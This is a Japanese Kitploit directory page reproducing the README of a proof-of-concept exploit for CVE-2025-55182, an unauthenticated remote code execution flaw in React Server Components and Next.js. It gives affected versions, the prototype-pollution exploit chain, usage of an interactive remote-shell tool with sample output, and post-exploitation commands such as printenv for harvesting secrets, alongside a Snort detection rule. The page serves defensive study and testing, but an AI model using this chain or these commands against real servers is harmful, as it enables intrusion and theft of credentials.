Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — CVE-2025-55182の概念実証エクスプロイト。React Server Componentsにおける重大な未認証RCE。自動化されたPythonエクスプロイト、技術分析、検出ルール、および許可されたセキュリティテストのためのラボ環境セットアップを含みます。 | Kitploit
ツール/GitHubGitHub/tinashelorenzi/cve-2025-55182
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト侵入検知学習と教育レッドチーミングペイロード開発ラボと実践
GitHubtinashelorenzi/cve-2025-55182

CVE-2025-55182

CVE-2025-55182の概念実証エクスプロイト。React Server Componentsにおける重大な未認証RCE。自動化されたPythonエクスプロイト、技術分析、検出ルール、および許可されたセキュリティテストのためのラボ環境セットアップを含みます。

179ヶ月前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

React2Shell (CVE-2025-55182) - 概念実証

CVE-2025-55182の包括的な概念実証エクスプロイトおよび教育リソースです。CVSSスコア10.0のクリティカルなリモートコード実行脆弱性で、React Server Componentsに影響します。

Python Version License CVSS

法的免責事項

教育および許可されたテスト目的のみ

このツールは教育目的および許可されたセキュリティテストのために提供されています。許可されていないコンピュータシステムへのアクセスは、米国のComputer Fraud and Abuse Act(CFAA)や世界各国の同様の法律を含む様々な法律で違法とされています。

あなたは以下を遵守する必要があります:

  • このツールは、あなたが所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用すること
  • 適用されるすべての地域、州、連邦法を遵守すること
  • このツールを責任を持って倫理的に使用すること

作者および貢献者:

  • このツールの誤用や損害について一切の責任を負いません
  • 許可されていないコンピュータシステムへのアクセスを推奨または容認しません
  • このツールを厳密に教育および防御セキュリティ目的で提供します

このツールを使用することで、これらの条件を理解し同意したものとみなされます。

📋 目次

  • 概要
  • 脆弱性の詳細
  • 影響を受けるバージョン
  • 技術的分析
  • インストール
  • 使用方法
  • 検出
  • 修復
  • ラボ環境のセットアップ
  • 参考文献
  • 貢献
  • 著者

🎯 概要

React2Shellは、2025年12月に発見された重大な脆弱性で、React Server Components(RSC)およびそれらを実装するフレームワーク(特にNext.js)に影響します。この脆弱性により、単一の細工されたHTTPリクエストを通じて認証不要のリモートコード実行が可能になります。

このリポジトリには以下が含まれています:

  • ✅ 自動化されたPythonエクスプロイトスクリプト
  • ✅ 詳細な技術的分析
  • ✅ 検出ルール(Snort、OSQuery)
  • ✅ ラボ環境セットアップガイド
  • ✅ 包括的なドキュメント

🔍 脆弱性の詳細

項目詳細
CVE IDCVE-2025-55182
CVSSスコア10.0 (Critical)
攻撃ベクトルネットワーク
攻撃の複雑さ低
必要な権限なし
ユーザー操作不要
影響システム全体の侵害(RCE)
公開日2025年12月

なぜこれがクリティカルなのか?

  1. 認証不要 - 認証されていない攻撃者によって悪用可能
  2. デフォルト設定が脆弱 - create-next-appで作成された標準的なNext.jsアプリが悪用可能
  3. 高い信頼性 - ほぼ100%のエクスプロイト成功率
  4. 広い攻撃対象 - Reactコンポーネントを実行する57万1,000以上の公開サーバー(Shodanデータ)
  5. 深刻な影響 - Node.jsプロセスの権限による完全なリモートコード実行

📦 影響を受けるバージョン

React Server Components

脆弱なバージョン:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

パッチ適用済みバージョン:

  • React 19.0.1
  • React 19.1.2
  • React 19.2.1

Next.js

脆弱なバージョン:

  • 14.3.0-canary.77以降のすべてのバージョン
  • すべての15.xリリース(パッチ適用前)
  • すべての16.xリリース(パッチ適用前)

パッチ適用済みバージョン:

  • Reactパッチを組み込んだ更新バージョンについてはNext.jsのリリースを確認

その他の影響を受けるフレームワーク

  • React Router(RSCモード使用時)
  • Waku
  • Redwood SDK
  • 様々なRSC対応フレームワーク

🔬 技術的分析

根本原因

脆弱性は、React Server Componentsの逆シリアル化ロジック内のrequireModule関数に存在します:

function requireModule(metadata) {  
  var moduleExports = __webpack_require__(metadata[0]);  
  return moduleExports[metadata[2]];  // 脆弱な行 - プロトタイプチェーンのトラバーサル
}

この欠陥により、攻撃者はReact Flightプロトコルを通じてJavaScriptのプロトタイプチェーンをたどり、constructor.constructorのようなプロパティを介してFunctionコンストラクタにアクセスし、任意のコード実行が可能になります。

エクスプロイトチェーン

  1. 偽のチャンク作成 - 攻撃者は細工されたチャンクオブジェクトを含むマルチパートフォームデータを送信
  2. プロトタイプ汚染 - __proto__を悪用して自己参照構造を作成
  3. Blobハンドラの悪用 - Reactの内部Blob逆シリアル化ハンドラをトリガー
  4. Functionコンストラクタへのアクセス - constructor.constructorをチェーンしてFunction()にアクセス
  5. コード実行 - child_process.execSync()を介して任意のJavaScriptを注入

攻撃フロー図

┌─────────────────────────────────────────────────────────────┐
│  攻撃者がNext-Actionヘッダーを含むmultipart/form-dataを送信 │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  サーバーがReact Flightプロトコルを介してペイロードを逆シリアル化 │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  __proto__汚染を含む偽のチャンクオブジェクトが処理される      │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Blobハンドラが_formData.get(_prefix + id)を呼び出す        │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Function("malicious_code")に解決される                     │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Node.jsプロセス権限で任意のコードが実行される               │
└─────────────────────────────────────────────────────────────┘

🚀 インストール

必要条件

  • Python 3.7以上
  • requestsライブラリ

セットアップ

# リポジトリのクローン
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc

# 依存関係のインストール
pip install -r requirements.txt

# スクリプトを実行可能にする(Linux/macOS)
chmod +x react2shell.py

Requirements.txt

requests>=2.31.0
urllib3>=2.0.0

💻 使用方法

基本的な使い方

python3 react2shell.py

インタラクティブセッション

╔═══════════════════════════════════════════════════════════╗
║           React2Shell (CVE-2025-55182) PoC                ║
║                 CVSS 10.0 - Critical RCE                  ║
║                                                           ║
║  Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0          ║
║           Next.js ≥14.3.0-canary.77, 15.x, 16.x          ║
║                                                           ║
║  Cerberus Secure - Lab Use Only                          ║
╚═══════════════════════════════════════════════════════════╝

[?] ターゲット情報を入力:
    Host (例: localhost または 192.168.1.100): localhost
    Port (例: 3000): 3000

[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...

╔═══════════════════════════════════════════════════════════╗
║                    コマンド出力                           ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)

[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit

コマンド例

# システム偵察
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release

# ファイルシステム探索
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json

# 環境変数(しばしば秘密情報を含む)
[React2Shell]> printenv
[React2Shell]> echo $PATH

# ネットワーク情報
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn

使用可能なコマンド

コマンド説明
<任意のシェルコマンド>ターゲット上でコマンドを実行
helpヘルプメッセージを表示
exit / quit / qツールを終了

🛡️ 検出

ネットワークレベル検出(Snort v3)

このSnortルールを展開してエクスプロイト試行を検出します:

alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

検出ロジック:

  • Next-Actionヘッダー(RSC固有)を監視
  • multipart/form-dataペイロードを検出
  • エクスプロイト固有のパターンを識別:name="0"、status: "resolved_model"、then: "$1:__proto__:then"

エンドポイント検出(OSQuery)

ツールをダウンロード